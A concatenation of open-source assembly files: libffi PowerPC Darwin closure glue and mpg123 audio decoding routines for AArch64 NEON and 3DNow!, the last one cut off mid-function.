lha r3,6(r5)
b Lfinish
nop
nop
// case FFI_TYPE_UINT32
Lret_type9: // same as Lret_type1
lwz r3,4(r5)
b Lfinish
nop
nop
// case FFI_TYPE_SINT32
Lret_type10: // same as Lret_type1
lwz r3,4(r5)
b Lfinish
nop
nop
// case FFI_TYPE_UINT64
Lret_type11:
ld r3,0(r5)
b Lfinish
nop
nop
// case FFI_TYPE_SINT64
Lret_type12: // same as Lret_type11
ld r3,0(r5)
b Lfinish
nop
nop
// case FFI_TYPE_STRUCT
Lret_type13:
b Lret_struct
nop
nop
nop
// ** End 16-byte aligned cases **
// case FFI_TYPE_POINTER
// This case assumes that FFI_TYPE_POINTER == FFI_TYPE_LAST. If more types
// are added in future, the following code will need to be updated and
// padded to 16 bytes.
Lret_type14:
lg r3,0(r5)
b Lfinish
// copy struct into registers
Lret_struct:
ld r31,FFI_TRAMPOLINE_SIZE(r31) // ffi_closure->cif*
ld r3,16(r31) // ffi_cif->rtype*
ld r31,24(r31) // ffi_cif->flags
mr r4,r5 // copy struct* to 2nd arg
addi r7,r1,SF_ARG9 // GPR return area
addi r9,r30,-16-(14*8) // FPR return area
li r5,0 // struct offset ptr (NULL)
li r6,0 // FPR used count ptr (NULL)
li r8,0 // GPR return area size ptr (NULL)
li r10,0 // FPR return area size ptr (NULL)
bl Lffi64_struct_to_reg_form$stub
// Load GPRs
ld r3,SF_ARG9(r1)
ld r4,SF_ARG10(r1)
ld r5,SF_ARG11(r1)
ld r6,SF_ARG12(r1)
nop
ld r7,SF_ARG13(r1)
ld r8,SF_ARG14(r1)
ld r9,SF_ARG15(r1)
ld r10,SF_ARG16(r1)
nop
// Load FPRs
mtcrf 0x2,r31
bf 26,Lfinish
lfd f1,-16-(14*8)(r30)
lfd f2,-16-(13*8)(r30)
lfd f3,-16-(12*8)(r30)
lfd f4,-16-(11*8)(r30)
nop
lfd f5,-16-(10*8)(r30)
lfd f6,-16-(9*8)(r30)
lfd f7,-16-(8*8)(r30)
lfd f8,-16-(7*8)(r30)
nop
lfd f9,-16-(6*8)(r30)
lfd f10,-16-(5*8)(r30)
lfd f11,-16-(4*8)(r30)
lfd f12,-16-(3*8)(r30)
nop
lfd f13,-16-(2*8)(r30)
lfd f14,-16-(1*8)(r30)
// Fall through
// case done
Lfinish:
lg r1,0(r1) // Restore stack pointer.
ld r31,-8(r1) // Restore registers we used.
ld r30,-16(r1)
lg r0,SF_RETURN(r1) // Get return address.
mtlr r0 // Reset link register.
blr
// END(ffi_closure_ASM)
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame1:
.set L$set$0,LECIE1-LSCIE1
.long L$set$0 ; Length of Common Information Entry
LSCIE1:
.long 0x0 ; CIE Identifier Tag
.byte 0x1 ; CIE Version
.ascii "zR\0" ; CIE Augmentation
.byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor
.byte 0x7c ; sleb128 -4; CIE Data Alignment Factor
.byte 0x41 ; CIE RA Column
.byte 0x1 ; uleb128 0x1; Augmentation size
.byte 0x10 ; FDE Encoding (pcrel)
.byte 0xc ; DW_CFA_def_cfa
.byte 0x1 ; uleb128 0x1
.byte 0x0 ; uleb128 0x0
.align LOG2_GPR_BYTES
LECIE1:
.globl _ffi_closure_ASM.eh
_ffi_closure_ASM.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1
.long L$set$1 ; FDE Length
LASFDE1:
.long LASFDE1-EH_frame1 ; FDE CIE offset
.g_long LFB1-. ; FDE initial location
.set L$set$3,LFE1-LFB1
.g_long L$set$3 ; FDE address range
.byte 0x0 ; uleb128 0x0; Augmentation size
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$3,LCFI1-LCFI0
.long L$set$3
.byte 0xe ; DW_CFA_def_cfa_offset
.byte 176,1 ; uleb128 176
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$4,LCFI0-LFB1
.long L$set$4
.byte 0x11 ; DW_CFA_offset_extended_sf
.byte 0x41 ; uleb128 0x41
.byte 0x7e ; sleb128 -2
.align LOG2_GPR_BYTES
LEFDE1:
.data
.align LOG2_GPR_BYTES
LDFCM0:
.section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32
.align LOG2_GPR_BYTES
Lffi_closure_helper_DARWIN$stub:
.indirect_symbol _ffi_closure_helper_DARWIN
mflr r0
bcl 20,31,LO$ffi_closure_helper_DARWIN
LO$ffi_closure_helper_DARWIN:
mflr r11
addis r11,r11,ha16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN)
mtlr r0
lgu r12,lo16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN)(r11)
mtctr r12
bctr
.lazy_symbol_pointer
L_ffi_closure_helper_DARWIN$lazy_ptr:
.indirect_symbol _ffi_closure_helper_DARWIN
.g_long dyld_stub_binding_helper
.section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32
.align LOG2_GPR_BYTES
Lffi64_struct_to_reg_form$stub:
.indirect_symbol _ffi64_struct_to_reg_form
mflr r0
bcl 20,31,LO$ffi64_struct_to_reg_form
LO$ffi64_struct_to_reg_form:
mflr r11
addis r11,r11,ha16(L_ffi64_struct_to_reg_form$lazy_ptr - LO$ffi64_struct_to_reg_form)
mtlr r0
lgu r12,lo16(L_ffi64_struct_to_reg_form$lazy_ptr - LO$ffi64_struct_to_reg_form)(r11)
mtctr r12
bctr
.section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32
.align LOG2_GPR_BYTES
Lffi64_data_size$stub:
.indirect_symbol _ffi64_data_size
mflr r0
bcl 20,31,LO$ffi64_data_size
LO$ffi64_data_size:
mflr r11
addis r11,r11,ha16(L_ffi64_data_size$lazy_ptr - LO$ffi64_data_size)
mtlr r0
lgu r12,lo16(L_ffi64_data_size$lazy_ptr - LO$ffi64_data_size)(r11)
mtctr r12
bctr
.lazy_symbol_pointer
L_ffi64_struct_to_reg_form$lazy_ptr:
.indirect_symbol _ffi64_struct_to_reg_form
.g_long dyld_stub_binding_helper
L_ffi64_data_size$lazy_ptr:
.indirect_symbol _ffi64_data_size
.g_long dyld_stub_binding_helper
#endif // __ppc64__
|
albertz/music-player | 7,234 | mac/pyobjc-core/libffi-src/powerpc/ppc-darwin_closure.S | #if defined(__ppc__)
/* -----------------------------------------------------------------------
ppc-darwin_closure.S - Copyright (c) 2002, 2003, 2004, Free Software Foundation,
Inc. based on ppc_closure.S
PowerPC Assembly glue.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#define LIBFFI_ASM
#include <ffi.h>
#include <ppc-ffitarget.h> // for FFI_TRAMPOLINE_SIZE
#include <ppc-darwin.h>
#include <architecture/ppc/mode_independent_asm.h>
.file "ppc-darwin_closure.S"
.text
.align LOG2_GPR_BYTES
.globl _ffi_closure_ASM
.text
.align LOG2_GPR_BYTES
_ffi_closure_ASM:
LFB1:
mflr r0 // Save return address
stg r0,SF_RETURN(r1)
LCFI0:
/* 24/48 bytes (Linkage Area)
32/64 bytes (outgoing parameter area, always reserved)
104 bytes (13*8 from FPR)
16/32 bytes (result)
176/232 total bytes */
/* skip over caller save area and keep stack aligned to 16/32. */
stgu r1,-SF_ROUND(176)(r1)
LCFI1:
/* We want to build up an area for the parameters passed
in registers. (both floating point and integer) */
/* 176/256 bytes (callee stack frame aligned to 16/32)
24/48 bytes (caller linkage area)
200/304 (start of caller parameter area aligned to 4/8)
*/
/* Save GPRs 3 - 10 (aligned to 4/8)
in the parents outgoing area. */
stg r3,200(r1)
stg r4,204(r1)
stg r5,208(r1)
stg r6,212(r1)
stg r7,216(r1)
stg r8,220(r1)
stg r9,224(r1)
stg r10,228(r1)
/* Save FPRs 1 - 13. (aligned to 8) */
stfd f1,56(r1)
stfd f2,64(r1)
stfd f3,72(r1)
stfd f4,80(r1)
stfd f5,88(r1)
stfd f6,96(r1)
stfd f7,104(r1)
stfd f8,112(r1)
stfd f9,120(r1)
stfd f10,128(r1)
stfd f11,136(r1)
stfd f12,144(r1)
stfd f13,152(r1)
// Set up registers for the routine that actually does the work.
mr r3,r11 // context pointer from the trampoline
addi r4,r1,160 // result storage
addi r5,r1,200 // saved GPRs
addi r6,r1,56 // saved FPRs
bl Lffi_closure_helper_DARWIN$stub
/* Now r3 contains the return type. Use it to look up in a table
so we know how to deal with each type. */
addi r5,r1,160 // Copy result storage pointer.
bl Lget_ret_type0_addr // Get pointer to Lret_type0 into LR.
mflr r4 // Move to r4.
slwi r3,r3,4 // Multiply return type by 16.
add r3,r3,r4 // Add contents of table to table address.
mtctr r3
bctr
LFE1:
/* Each of the ret_typeX code fragments has to be exactly 16 bytes long
(4 instructions). For cache effectiveness we align to a 16 byte boundary
first. */
.align 4
nop
nop
nop
Lget_ret_type0_addr:
blrl
/* case FFI_TYPE_VOID */
Lret_type0:
b Lfinish
nop
nop
nop
/* case FFI_TYPE_INT */
Lret_type1:
lwz r3,0(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_FLOAT */
Lret_type2:
lfs f1,0(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_DOUBLE */
Lret_type3:
lfd f1,0(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_LONGDOUBLE */
Lret_type4:
lfd f1,0(r5)
lfd f2,8(r5)
b Lfinish
nop
/* case FFI_TYPE_UINT8 */
Lret_type5:
lbz r3,3(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_SINT8 */
Lret_type6:
lbz r3,3(r5)
extsb r3,r3
b Lfinish
nop
/* case FFI_TYPE_UINT16 */
Lret_type7:
lhz r3,2(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_SINT16 */
Lret_type8:
lha r3,2(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_UINT32 */
Lret_type9: // same as Lret_type1
lwz r3,0(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_SINT32 */
Lret_type10: // same as Lret_type1
lwz r3,0(r5)
b Lfinish
nop
nop
/* case FFI_TYPE_UINT64 */
Lret_type11:
lwz r3,0(r5)
lwz r4,4(r5)
b Lfinish
nop
/* case FFI_TYPE_SINT64 */
Lret_type12: // same as Lret_type11
lwz r3,0(r5)
lwz r4,4(r5)
b Lfinish
nop
/* case FFI_TYPE_STRUCT */
Lret_type13:
b Lfinish
nop
nop
nop
/* End 16-byte aligned cases */
/* case FFI_TYPE_POINTER */
// This case assumes that FFI_TYPE_POINTER == FFI_TYPE_LAST. If more types
// are added in future, the following code will need to be updated and
// padded to 16 bytes.
Lret_type14:
lg r3,0(r5)
// fall through
/* case done */
Lfinish:
addi r1,r1,SF_ROUND(176) // Restore stack pointer.
lg r0,SF_RETURN(r1) // Restore return address.
mtlr r0 // Restore link register.
blr
/* END(ffi_closure_ASM) */
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame1:
.set L$set$0,LECIE1-LSCIE1
.long L$set$0 ; Length of Common Information Entry
LSCIE1:
.long 0x0 ; CIE Identifier Tag
.byte 0x1 ; CIE Version
.ascii "zR\0" ; CIE Augmentation
.byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor
.byte 0x7c ; sleb128 -4; CIE Data Alignment Factor
.byte 0x41 ; CIE RA Column
.byte 0x1 ; uleb128 0x1; Augmentation size
.byte 0x10 ; FDE Encoding (pcrel)
.byte 0xc ; DW_CFA_def_cfa
.byte 0x1 ; uleb128 0x1
.byte 0x0 ; uleb128 0x0
.align LOG2_GPR_BYTES
LECIE1:
.globl _ffi_closure_ASM.eh
_ffi_closure_ASM.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1
.long L$set$1 ; FDE Length
LASFDE1:
.long LASFDE1-EH_frame1 ; FDE CIE offset
.g_long LFB1-. ; FDE initial location
.set L$set$3,LFE1-LFB1
.g_long L$set$3 ; FDE address range
.byte 0x0 ; uleb128 0x0; Augmentation size
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$3,LCFI1-LCFI0
.long L$set$3
.byte 0xe ; DW_CFA_def_cfa_offset
.byte 176,1 ; uleb128 176
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$4,LCFI0-LFB1
.long L$set$4
.byte 0x11 ; DW_CFA_offset_extended_sf
.byte 0x41 ; uleb128 0x41
.byte 0x7e ; sleb128 -2
.align LOG2_GPR_BYTES
LEFDE1:
.data
.align LOG2_GPR_BYTES
LDFCM0:
.section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32
.align LOG2_GPR_BYTES
Lffi_closure_helper_DARWIN$stub:
.indirect_symbol _ffi_closure_helper_DARWIN
mflr r0
bcl 20,31,LO$ffi_closure_helper_DARWIN
LO$ffi_closure_helper_DARWIN:
mflr r11
addis r11,r11,ha16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN)
mtlr r0
lgu r12,lo16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN)(r11)
mtctr r12
bctr
.lazy_symbol_pointer
L_ffi_closure_helper_DARWIN$lazy_ptr:
.indirect_symbol _ffi_closure_helper_DARWIN
.g_long dyld_stub_binding_helper
#endif // __ppc__
|
AlbrechtL/welle.io | 3,305 | src/libs/mpg123/synth_neon64_s32.S | /*
synth_neon64_s32: NEON optimized synth for AArch64 (32-bit output version)
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
maxmin_s32:
.word 1191182335
.word -956301312
.word 1199570944
.text
ALIGN4
.globl ASM_NAME(synth_1to1_s32_neon64_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_s32_neon64_asm), %function
#endif
ASM_NAME(synth_1to1_s32_neon64_asm):
add x0, x0, #64
sub x0, x0, x3, lsl #2
eor v31.16b, v31.16b, v31.16b
adrp x5, AARCH64_PCREL_HI(maxmin_s32)
add x5, x5, AARCH64_PCREL_LO(maxmin_s32)
ld3r {v28.4s,v29.4s,v30.4s}, [x5]
mov w4, #4
mov x5, #128
1:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
ld2 {v4.4s,v5.4s}, [x2]
fcvtns v4.4s, v1.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4s,v5.4s}, [x2], #32
subs w4, w4, #1
b.ne 1b
mov w4, #4
mov x6, #-64
2:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
ld2 {v4.4s,v5.4s}, [x2]
fcvtns v4.4s, v1.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4s,v5.4s}, [x2], #32
subs w4, w4, #1
b.ne 2b
AARCH64_DUP_2D(v0, v31, 1)
add v0.4s, v0.4s, v31.4s
AARCH64_DUP_4S(v1, v0, 1)
add v0.4s, v0.4s, v1.4s
umov w0, v0.s[0]
neg w0, w0
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 11,213 | src/libs/mpg123/dct36_3dnow.S | /*
dct64_3dnow.s: Replacement of dct36() with AMD's 3DNow! SIMD operations support
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Syuuhei Kashiyama
This code based 'dct36_3dnow.s' by Syuuhei Kashiyama
<squash@mb.kcom.ne.jp>,only two types of changes have been made:
- remove PREFETCH instruction for speedup
- change function name for support 3DNow! automatic detect
You can find Kashiyama's original 3dnow! support patch
(for mpg123-0.59o) at
http://user.ecc.u-tokyo.ac.jp/~g810370/linux-simd/ (Japanese).
by KIMURA Takuhiro <kim@hannah.ipc.miyakyo-u.ac.jp> - until 31.Mar.1999
<kim@comtec.co.jp> - after 1.Apr.1999
Replacement of dct36() with AMD's 3DNow! SIMD operations support
Syuuhei Kashiyama <squash@mb.kcom.ne.jp>
The author of this program disclaim whole expressed or implied
warranties with regard to this program, and in no event shall the
author of this program liable to whatever resulted from the use of
this program. Use it at your own risk.
*/
#include "mangle.h"
.globl ASM_NAME(dct36_3dnow)
/* .type ASM_NAME(dct36_3dnow),@function */
ASM_NAME(dct36_3dnow):
pushl %ebp
movl %esp,%ebp
#if defined(PIC) && defined(__APPLE__)
sub $4,%esp
#endif
pushl %esi
pushl %ebx
#undef _EBX_
#define _EBX_ %edi
PREPARE_GOT
GET_GOT
#if defined(PIC) && defined(__APPLE__)
#define _COS9_ 0(%edi)
#define _tfcos36_ 0(%eax)
mov GLOBAL_VAR_PTR(tfcos36), %eax
mov GLOBAL_VAR_PTR(COS9), %edi
mov %eax, -4(%ebp)
#else
#define _COS9_ GLOBAL_VAR(COS9)
#define _tfcos36_ GLOBAL_VAR(tfcos36)
#endif
movl 8(%ebp),%eax
movl 12(%ebp),%esi
movl 16(%ebp),%ecx
movl 20(%ebp),%edx
movl 24(%ebp),%ebx
femms
movq (%eax),%mm0
movq 4(%eax),%mm1
pfadd %mm1,%mm0
movq %mm0,4(%eax)
psrlq $32,%mm1
movq 12(%eax),%mm2
punpckldq %mm2,%mm1
pfadd %mm2,%mm1
movq %mm1,12(%eax)
psrlq $32,%mm2
movq 20(%eax),%mm3
punpckldq %mm3,%mm2
pfadd %mm3,%mm2
movq %mm2,20(%eax)
psrlq $32,%mm3
movq 28(%eax),%mm4
punpckldq %mm4,%mm3
pfadd %mm4,%mm3
movq %mm3,28(%eax)
psrlq $32,%mm4
movq 36(%eax),%mm5
punpckldq %mm5,%mm4
pfadd %mm5,%mm4
movq %mm4,36(%eax)
psrlq $32,%mm5
movq 44(%eax),%mm6
punpckldq %mm6,%mm5
pfadd %mm6,%mm5
movq %mm5,44(%eax)
psrlq $32,%mm6
movq 52(%eax),%mm7
punpckldq %mm7,%mm6
pfadd %mm7,%mm6
movq %mm6,52(%eax)
psrlq $32,%mm7
movq 60(%eax),%mm0
punpckldq %mm0,%mm7
pfadd %mm0,%mm7
movq %mm7,60(%eax)
psrlq $32,%mm0
movd 68(%eax),%mm1
pfadd %mm1,%mm0
movd %mm0,68(%eax)
movd 4(%eax),%mm0
movd 12(%eax),%mm1
punpckldq %mm1,%mm0
punpckldq 20(%eax),%mm1
pfadd %mm1,%mm0
movd %mm0,12(%eax)
psrlq $32,%mm0
movd %mm0,20(%eax)
psrlq $32,%mm1
movd 28(%eax),%mm2
punpckldq %mm2,%mm1
punpckldq 36(%eax),%mm2
pfadd %mm2,%mm1
movd %mm1,28(%eax)
psrlq $32,%mm1
movd %mm1,36(%eax)
psrlq $32,%mm2
movd 44(%eax),%mm3
punpckldq %mm3,%mm2
punpckldq 52(%eax),%mm3
pfadd %mm3,%mm2
movd %mm2,44(%eax)
psrlq $32,%mm2
movd %mm2,52(%eax)
psrlq $32,%mm3
movd 60(%eax),%mm4
punpckldq %mm4,%mm3
punpckldq 68(%eax),%mm4
pfadd %mm4,%mm3
movd %mm3,60(%eax)
psrlq $32,%mm3
movd %mm3,68(%eax)
movq 24(%eax),%mm0
movq 48(%eax),%mm1
movd 12+_COS9_,%mm2
punpckldq %mm2,%mm2
movd 24+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm2,%mm0
pfmul %mm3,%mm1
pushl %eax
movl $1,%eax
movd %eax,%mm7
pi2fd %mm7,%mm7
popl %eax
movq 8(%eax),%mm2
movd 4+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfadd %mm0,%mm2
movq 40(%eax),%mm3
movd 20+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq 56(%eax),%mm3
movd 28+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq 32(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 0+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 108(%edx),%mm6
punpckldq 104(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,36(%ecx)
psrlq $32,%mm5
movd %mm5,32(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 32(%edx),%mm6
punpckldq 36(%edx),%mm6
pfmul %mm6,%mm5
movd 32(%esi),%mm6
punpckldq 36(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,1024(%ebx)
psrlq $32,%mm5
movd %mm5,1152(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 32+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 140(%edx),%mm6
punpckldq 72(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,68(%ecx)
psrlq $32,%mm5
movd %mm5,0(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 0(%edx),%mm6
punpckldq 68(%edx),%mm6
pfmul %mm6,%mm5
movd 0(%esi),%mm6
punpckldq 68(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,0(%ebx)
psrlq $32,%mm5
movd %mm5,2176(%ebx)
movq 8(%eax),%mm2
movq 40(%eax),%mm3
pfsub %mm3,%mm2
movq 56(%eax),%mm3
pfsub %mm3,%mm2
movd 12+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
movq 16(%eax),%mm3
movq 32(%eax),%mm4
pfsub %mm4,%mm3
movq 64(%eax),%mm4
pfsub %mm4,%mm3
movd 24+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
movq 48(%eax),%mm4
pfsub %mm4,%mm3
movq (%eax),%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 4+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 112(%edx),%mm6
punpckldq 100(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,40(%ecx)
psrlq $32,%mm5
movd %mm5,28(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 28(%edx),%mm6
punpckldq 40(%edx),%mm6
pfmul %mm6,%mm5
movd 28(%esi),%mm6
punpckldq 40(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,896(%ebx)
psrlq $32,%mm5
movd %mm5,1280(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 28+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 136(%edx),%mm6
punpckldq 76(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,64(%ecx)
psrlq $32,%mm5
movd %mm5,4(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 4(%edx),%mm6
punpckldq 64(%edx),%mm6
pfmul %mm6,%mm5
movd 4(%esi),%mm6
punpckldq 64(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,128(%ebx)
psrlq $32,%mm5
movd %mm5,2048(%ebx)
movq 8(%eax),%mm2
movd 20+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfsub %mm0,%mm2
movq 40(%eax),%mm3
movd 28+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfsub %mm3,%mm2
movq 56(%eax),%mm3
movd 4+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq 32(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 8+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 116(%edx),%mm6
punpckldq 96(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,44(%ecx)
psrlq $32,%mm5
movd %mm5,24(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 24(%edx),%mm6
punpckldq 44(%edx),%mm6
pfmul %mm6,%mm5
movd 24(%esi),%mm6
punpckldq 44(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,768(%ebx)
psrlq $32,%mm5
movd %mm5,1408(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
